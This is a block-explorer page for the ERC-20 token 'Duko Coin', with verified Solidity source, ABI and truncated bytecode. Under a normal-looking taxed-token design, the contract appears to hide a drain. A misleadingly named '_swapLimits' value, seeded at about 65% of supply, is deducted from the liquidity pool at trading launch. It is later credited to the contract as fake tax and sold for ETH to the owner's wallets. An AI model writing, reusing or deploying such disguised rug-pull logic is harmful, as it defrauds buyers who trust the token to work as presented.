ERC-20
Overview
Max Total Supply
100,000,000,000 DUKO
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
284,854,030.039816122 DUKOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Duko
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-25 */ //SPDX-License-Identifier: MIT /* https://dukoerc.com https://t.me/Dukoportal https://twitter.com/Duko_coin */ pragma solidity 0.8.24; abstract contract Auth { address internal _owner; event OwnershipTransferred(address _owner); modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; } constructor(address creatorOwner) { _owner = creatorOwner; } function owner() public view returns (address) { return _owner; } function transferOwnership(address payable newowner) external onlyOwner { _owner = newowner; emit OwnershipTransferred(newowner); } function renounceOwnership() external onlyOwner { _owner = address(0); emit OwnershipTransferred(address(0)); } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address holder, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } contract Duko is IERC20, Auth { string private constant _symbol = "DUKO"; string private constant _name = "Duko Coin"; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 100_000_000_000 * (10**_decimals); address payable private _marketingWallet = payable(0xf6379eb99b2d9FaA56e76dE9349B3798696377C5); address payable private _developmentWallet = payable(0xBb002a8a94908456CA42F52313F7F8E13c678E13); uint16 private _marketingShares; uint16 private _developmentShares; uint256 private antiMevBlock = 2; uint8 private _sellTaxrate = 25; uint8 private _buyTaxrate = 15; uint256 private launchBlok; uint256 private _maxTxVal = _totalSupply; uint256 private _maxWalletVal = _totalSupply; uint256 private _swapMin = _totalSupply * 10 / 100000; uint256 private _swapMax = _totalSupply * 499 / 100000; uint256 private _swapTrigger = 20 * (10**15); uint256 private _swapLimits = _swapMin * 65 * 100; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (uint256 => mapping (address => uint8)) private blockSells; mapping (address => bool) private _nofee; mapping (address => bool) private _nolimit; address private LpOwner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // address private immutable WETH; address private WETH; IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inSwap = false; modifier lockTaxSwap { _inSwap = true; _; _inSwap = false; } constructor() Auth(msg.sender) { LpOwner = msg.sender; // WETH = _primarySwapRouter.WETH(); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]); _nofee[_owner] = true; _nofee[address(this)] = true; _nofee[_marketingWallet] = true; _nofee[_swapRouterAddress] = true; _nolimit[_owner] = true; _nolimit[address(this)] = true; _nolimit[_marketingWallet] = true; _nolimit[_swapRouterAddress] = true; _marketingShares = 67; _developmentShares = 33; } receive() external payable {} function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _totalSupply; } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address toWallet, uint256 amount) external override returns (bool) { require(_checkTradingOpen(msg.sender), "Trading not open"); return _transferFrom(msg.sender, toWallet, amount); } function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) { require(_checkTradingOpen(fromWallet), "Trading not open"); _allowances[fromWallet][msg.sender] -= amount; return _transferFrom(fromWallet, toWallet, amount); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) { _allowances[address(this)][_swapRouterAddress] = type(uint256).max; emit Approval(address(this), _swapRouterAddress, type(uint256).max); } } function addLiquidity() external payable onlyOwner lockTaxSwap { require(_primaryLP == address(0), "LP created"); require(!_tradingOpen, "trading open"); require(msg.value > 0 || address(this).balance>0, "No ETH"); require(_balances[address(this)]>0, "No tokens"); WETH = _primarySwapRouter.WETH(); _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH); _addLiquidity(_balances[address(this)], address(this).balance); } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal { _approveRouter(_tokenAmount); _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp ); } function enableTrading() external onlyOwner { require(!_tradingOpen, "trading open"); _openTrading(); } function _openTrading() internal { _maxTxVal = 2 * _totalSupply / 100; _maxWalletVal = 2 * _totalSupply / 100; _balances[_primaryLP] -= _swapLimits; (_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") ); require(_isLP[_primaryLP], "Failed bootstrap"); launchBlok = block.number; antiMevBlock = antiMevBlock + launchBlok; _tradingOpen = true; } function shouldSwap(uint256 tokenAmt) private view returns (bool) { bool result; if (_swapTrigger > 0) { uint256 lpTkn = _balances[_primaryLP]; uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); uint256 weiValue = (tokenAmt * lpWeth) / lpTkn; if (weiValue >= _swapTrigger) { result = true; } } else { result = true; } return result; } function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from 0 wallet"); if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); } if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); } if ( block.number >= launchBlok ) { if (block.number < antiMevBlock && _isLP[sender]) { require(toWallet == tx.origin, "MEV block"); } if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) { blockSells[block.number][toWallet] += 1; require(blockSells[block.number][toWallet] <= 2, "MEV block"); } } if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { require(_checkLimits(sender, toWallet, amount), "TX over limits"); } uint256 _taxAmount = _calculateTax(sender, toWallet, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] -= amount; _swapLimits += _taxAmount; _balances[toWallet] += _transferAmount; emit Transfer(sender, toWallet, amount); return true; } function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) { if ( transferAmount > _maxTxVal ) { limitCheckPassed = false; } else if ( !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen(address fromWallet) private view returns (bool){ bool checkResult = false; if ( _tradingOpen ) { checkResult = true; } else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } return checkResult; } function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { taxAmount = 0; } else if ( _isLP[fromWallet] ) { taxAmount = amount * _buyTaxrate / 100; } else if ( _isLP[recipient] ) { taxAmount = amount * _sellTaxrate / 100; } return taxAmount; } function exemptions(address wallet) external view returns (bool fees, bool limits) { return (_nofee[wallet], _nolimit[wallet]); } function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner { if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); } _nofee[ wlt ] = noFees; _nolimit[ wlt ] = noLimits; } function buyFee() external view returns(uint8) { return _buyTaxrate; } function sellFee() external view returns(uint8) { return _sellTaxrate; } function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner { require(buyFees + sellFees <= 50, "Roundtrip too high"); _buyTaxrate = buyFees; _sellTaxrate = sellFees; } function marketingWallet() external view returns (address) { return _marketingWallet; } function updateMarketingWallet(address marketingWlt) external onlyOwner { require(!_isLP[marketingWlt], "LP cannot be tax wallet"); _marketingWallet = payable(marketingWlt); _nofee[marketingWlt] = true; _nolimit[marketingWlt] = true; } function maxWallet() external view returns (uint256) { return _maxWalletVal; } function maxTransaction() external view returns (uint256) { return _maxTxVal; } function swapMin() external view returns (uint256) { return _swapMin; } function swapMax() external view returns (uint256) { return _swapMax; } function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1; require(newTxAmt >= _maxTxVal, "tx too low"); _maxTxVal = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1; require(newWalletAmt >= _maxWalletVal, "wallet too low"); _maxWalletVal = newWalletAmt; } function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner { _swapMin = _totalSupply * minVal / minDiv; _swapMax = _totalSupply * maxVal / maxDiv; _swapTrigger = trigger * 10**15; require(_swapMax>=_swapMin, "Min-Max error"); } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokenAvailable = _swapLimits; if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) { if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; } uint256 _tokensForSwap = _taxTokenAvailable; if( _tokensForSwap > 1 * 10**_decimals ) { _balances[address(this)] += _taxTokenAvailable; _swapTaxTokensForEth(_tokensForSwap); _swapLimits -= _taxTokenAvailable; } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 tokenAmount) private { _approveRouter(tokenAmount); address[] memory path = new address[](2); path[0] = address( this ); path[1] = WETH ; _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function setTaxShares(uint16 marketing, uint16 development) external onlyOwner { require(marketing + development > 0, "Invalid values"); _marketingShares = marketing; _developmentShares = development; } function _distributeTaxEth(uint256 amount) private { uint256 totalShares = _marketingShares + _developmentShares; if (totalShares > 0) { uint256 marketingAmt = amount * _marketingShares / totalShares; uint256 developmentAmt = amount * _developmentShares / totalShares; if (marketingAmt > 0) { _marketingWallet.transfer(marketingAmt); } if (developmentAmt > 0) { _developmentWallet.transfer(developmentAmt); } } } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"development","type":"uint16"}],"name":"setTaxShares","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031990811673f6379eb99b2d9faa56e76de9349b3798696377c5179091556002805490911673bb002a8a94908456ca42f52313f7f8e13c678e1317815560035560048054610f1961ffff199091161790556200006e6009600a6200042a565b6200007f9064174876e80062000441565b600655620000906009600a6200042a565b620000a19064174876e80062000441565b600755620186a0620000b66009600a6200042a565b620000c79064174876e80062000441565b620000d490600a62000441565b620000e091906200045b565b600855620186a0620000f56009600a6200042a565b620001069064174876e80062000441565b62000114906101f362000441565b6200012091906200045b565b60095566470de4df820000600a556008546200013e90604162000441565b6200014b90606462000441565b600b55601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556016805461ff00191690553480156200018b575f80fd5b505f8054336001600160a01b03199182168117909255601180549091169091179055620001bb6009600a6200042a565b620001cc9064174876e80062000441565b335f818152600c6020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b039081168252600f602090815260408084208054600160ff19918216811790925530808752838720805483168417905582548616875283872080548316841790557f7e98db1b893d503d049bbf1a3858119b9172e4b74989a91dfee4165dd9ce42a880548316841790558654861687526010909452828620805482168317905592855281852080548416821790558054909316845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527feb1861b62122c39d7846b597c3c20bac261ab9032a26ee7d64c4c7f875977df880549092161790556002805463ffffffff60a01b19166221004360a01b1790556200047b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036f57815f19048211156200035357620003536200031b565b808516156200036157918102915b93841c939080029062000334565b509250929050565b5f82620003875750600162000424565b816200039557505f62000424565b8160018114620003ae5760028114620003b957620003d9565b600191505062000424565b60ff841115620003cd57620003cd6200031b565b50506001821b62000424565b5060208310610133831016604e8410600b8410161715620003fe575081810a62000424565b6200040a83836200032f565b805f19048211156200042057620004206200031b565b0290505b92915050565b5f6200043a60ff84168362000377565b9392505050565b80820281158282048414176200042457620004246200031b565b5f826200047657634e487b7160e01b5f52601260045260245ffd5b500490565b6122d580620004895f395ff3fe6080604052600436106101b2575f3560e01c80638a8c523c116100e7578063c3f70b5211610087578063e8078d9411610062578063e8078d9414610534578063e98ca0651461053c578063f2fde38b1461055b578063f8b45b051461057a575f80fd5b8063c3f70b52146104bd578063dd62ed3e146104d1578063e537a83414610515575f80fd5b8063a5e992bb116100c2578063a5e992bb14610457578063a9059cbb1461046b578063aacebbe31461048a578063b3de9b5d146104a9575f80fd5b80638a8c523c146103fb5780638da5cb5b1461040f57806395d89b411461042b575f80fd5b8063313ce567116101525780634fcd24461161012d5780634fcd24461461036357806370a0823114610382578063715018a6146103b657806375f0a874146103ca575f80fd5b8063313ce56714610315578063368f4800146103285780634706240214610347575f80fd5b806318839bc31161018d57806318839bc31461025157806323b872dd146102725780632b14ca561461029157806330449efd146102b6575f80fd5b806306fdde03146101bd578063095ea7b31461020057806318160ddd1461022f575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b50604080518082019091526009815268223ab5b79021b7b4b760b91b60208201525b6040516101f79190611d63565b60405180910390f35b34801561020b575f80fd5b5061021f61021a366004611da9565b61058e565b60405190151581526020016101f7565b34801561023a575f80fd5b506102436105fa565b6040519081526020016101f7565b34801561025c575f80fd5b5061027061026b366004611de7565b61061b565b005b34801561027d575f80fd5b5061021f61028c366004611e29565b6106f7565b34801561029c575f80fd5b5060045460ff165b60405160ff90911681526020016101f7565b3480156102c1575f80fd5b506102fe6102d0366004611e67565b6001600160a01b03165f908152600f602090815260408083205460109092529091205460ff91821692911690565b6040805192151583529015156020830152016101f7565b348015610320575f80fd5b5060096102a4565b348015610333575f80fd5b50610270610342366004611e93565b61078b565b348015610352575f80fd5b50600454610100900460ff166102a4565b34801561036e575f80fd5b5061027061037d366004611ed4565b6108cd565b34801561038d575f80fd5b5061024361039c366004611e67565b6001600160a01b03165f908152600c602052604090205490565b3480156103c1575f80fd5b50610270610968565b3480156103d5575f80fd5b506001546001600160a01b03165b6040516001600160a01b0390911681526020016101f7565b348015610406575f80fd5b506102706109d5565b34801561041a575f80fd5b505f546001600160a01b03166103e3565b348015610436575f80fd5b5060408051808201909152600481526344554b4f60e01b60208201526101ea565b348015610462575f80fd5b50600954610243565b348015610476575f80fd5b5061021f610485366004611da9565b610a4a565b348015610495575f80fd5b506102706104a4366004611e67565b610aa5565b3480156104b4575f80fd5b50600854610243565b3480156104c8575f80fd5b50600654610243565b3480156104dc575f80fd5b506102436104eb366004611efc565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610520575f80fd5b5061027061052f366004611f46565b610b84565b610270610c95565b348015610547575f80fd5b50610270610556366004611e93565b610f8a565b348015610566575f80fd5b50610270610575366004611e67565b611038565b348015610585575f80fd5b50600754610243565b335f818152600d602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105e89086815260200190565b60405180910390a35060015b92915050565b5f6106076009600a61209b565b6106169064174876e8006120a9565b905090565b5f546001600160a01b0316331461064d5760405162461bcd60e51b8152600401610644906120c0565b60405180910390fd5b80806106565750815b156106b6576001600160a01b0383165f9081526015602052604090205460ff16156106b65760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b6044820152606401610644565b6001600160a01b039092165f908152600f60209081526040808320805494151560ff1995861617905560109091529020805492151592909116919091179055565b5f610701846110b4565b6107405760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610644565b6001600160a01b0384165f908152600d60209081526040808320338452909152812080548492906107729084906120f7565b909155506107839050848484611117565b949350505050565b5f546001600160a01b031633146107b45760405162461bcd60e51b8152600401610644906120c0565b5f6103e861ffff84166107c96009600a61209b565b6107d89064174876e8006120a9565b6107e291906120a9565b6107ec919061210a565b6107f7906001612129565b90506006548110156108385760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b6044820152606401610644565b60068190555f6103e861ffff84166108526009600a61209b565b6108619064174876e8006120a9565b61086b91906120a9565b610875919061210a565b610880906001612129565b90506007548110156108c55760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b6044820152606401610644565b600755505050565b5f546001600160a01b031633146108f65760405162461bcd60e51b8152600401610644906120c0565b6032610902828461213c565b60ff1611156109485760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610644565b6004805461ffff191661010060ff9485160260ff19161791909216179055565b5f546001600160a01b031633146109915760405162461bcd60e51b8152600401610644906120c0565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146109fe5760405162461bcd60e51b8152600401610644906120c0565b60165460ff1615610a405760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610644565b610a48611531565b565b5f610a54336110b4565b610a935760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610644565b610a9e338484611117565b9392505050565b5f546001600160a01b03163314610ace5760405162461bcd60e51b8152600401610644906120c0565b6001600160a01b0381165f9081526015602052604090205460ff1615610b365760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c65740000000000000000006044820152606401610644565b600180546001600160a01b039092166001600160a01b0319909216821781555f918252600f60209081526040808420805460ff19908116851790915560109092529092208054909216179055565b5f546001600160a01b03163314610bad5760405162461bcd60e51b8152600401610644906120c0565b63ffffffff808516908616610bc46009600a61209b565b610bd39064174876e8006120a9565b610bdd91906120a9565b610be7919061210a565b60085563ffffffff808316908416610c016009600a61209b565b610c109064174876e8006120a9565b610c1a91906120a9565b610c24919061210a565b600955610c3e63ffffffff821666038d7ea4c68000612155565b66ffffffffffffff16600a556008546009541015610c8e5760405162461bcd60e51b815260206004820152600d60248201526c26b4b716a6b0bc1032b93937b960991b6044820152606401610644565b5050505050565b5f546001600160a01b03163314610cbe5760405162461bcd60e51b8152600401610644906120c0565b6016805461ff0019166101001790556014546001600160a01b031615610d135760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b6044820152606401610644565b60165460ff1615610d555760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610644565b5f341180610d6257505f47115b610d975760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610644565b305f908152600c6020526040902054610dde5760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610644565b60135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e529190612180565b601280546001600160a01b0319166001600160a01b039283161790556013546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015610eae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ed29190612180565b6012546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303815f875af1158015610f20573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f449190612180565b601480546001600160a01b0319166001600160a01b0392909216919091179055305f908152600c6020526040902054610f7d90476116ed565b6016805461ff0019169055565b5f546001600160a01b03163314610fb35760405162461bcd60e51b8152600401610644906120c0565b5f610fbe828461219b565b61ffff16116110005760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642076616c75657360901b6044820152606401610644565b6002805463ffffffff60a01b1916600160a01b61ffff9485160261ffff60b01b191617600160b01b9290931691909102919091179055565b5f546001600160a01b031633146110615760405162461bcd60e51b8152600401610644906120c0565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6016545f90819060ff16156110cb575060016105f4565b6001600160a01b0383165f908152600f602052604090205460ff16801561110957506001600160a01b0383165f9081526010602052604090205460ff165b156105f45750600192915050565b5f6001600160a01b03841661116e5760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000006044820152606401610644565b60165460ff166111f9576001600160a01b0384165f908152600f602052604090205460ff1680156111b657506001600160a01b0384165f9081526010602052604090205460ff165b6111f95760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610644565b601654610100900460ff1615801561122857506001600160a01b0383165f9081526015602052604090205460ff165b8015611238575061123882611788565b156112455761124561184f565b60055443106113c0576003544310801561127657506001600160a01b0384165f9081526015602052604090205460ff165b156112bf576001600160a01b03831632146112bf5760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b6044820152606401610644565b6003546112ce90610258612129565b431080156112f357506001600160a01b0383165f9081526015602052604090205460ff165b801561130857506001600160a01b0384163014155b156113c057435f908152600e602090815260408083206001600160a01b0387168452909152812080546001929061134390849060ff1661213c565b82546101009290920a60ff818102199093169183160217909155435f908152600e602090815260408083206001600160a01b038916845290915290205460029116111590506113c05760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b6044820152606401610644565b6001600160a01b03841630148015906113e257506001600160a01b0383163014155b80156113fb57505f546001600160a01b03858116911614155b156114485761140b84848461190c565b6114485760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b6044820152606401610644565b5f6114548585856119cf565b90505f61146182856120f7565b6001600160a01b0387165f908152600c602052604081208054929350869290919061148d9084906120f7565b9250508190555081600b5f8282546114a59190612129565b90915550506001600160a01b0385165f908152600c6020526040812080548392906114d1908490612129565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161151d91815260200190565b60405180910390a350600195945050505050565b606461153f6009600a61209b565b61154e9064174876e8006120a9565b6115599060026120a9565b611563919061210a565b60065560646115746009600a61209b565b6115839064174876e8006120a9565b61158e9060026120a9565b611598919061210a565b600755600b546014546001600160a01b03165f908152600c6020526040812080549091906115c79084906120f7565b909155505060145460408051600481526024810182526020810180516001600160e01b031660016209351760e01b031917905290516001600160a01b039092169161161291906121bd565b5f604051808303815f865af19150503d805f811461164b576040519150601f19603f3d011682016040523d82523d5f602084013e611650565b606091505b5050601480546001600160a01b039081165f90815260156020526040808220805460ff1916951515959095179094559154168152205460ff166116c85760405162461bcd60e51b815260206004820152601060248201526f04661696c656420626f6f7473747261760841b6044820152606401610644565b4360058190556003546116db9190612129565b6003556016805460ff19166001179055565b6116f682611ab9565b60135460115460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611763573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c8e91906121d8565b5f805f600a541115611846576014546001600160a01b039081165f818152600c60205260408082205460125491516370a0823160e01b815260048101949094529391929116906370a0823190602401602060405180830381865afa1580156117f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118169190612203565b90505f8261182483886120a9565b61182e919061210a565b9050600a54811061183e57600193505b5050506105f4565b50600192915050565b6016805461ff001916610100179055600b546008548110801590611875575060165460ff165b156118fe5760095481106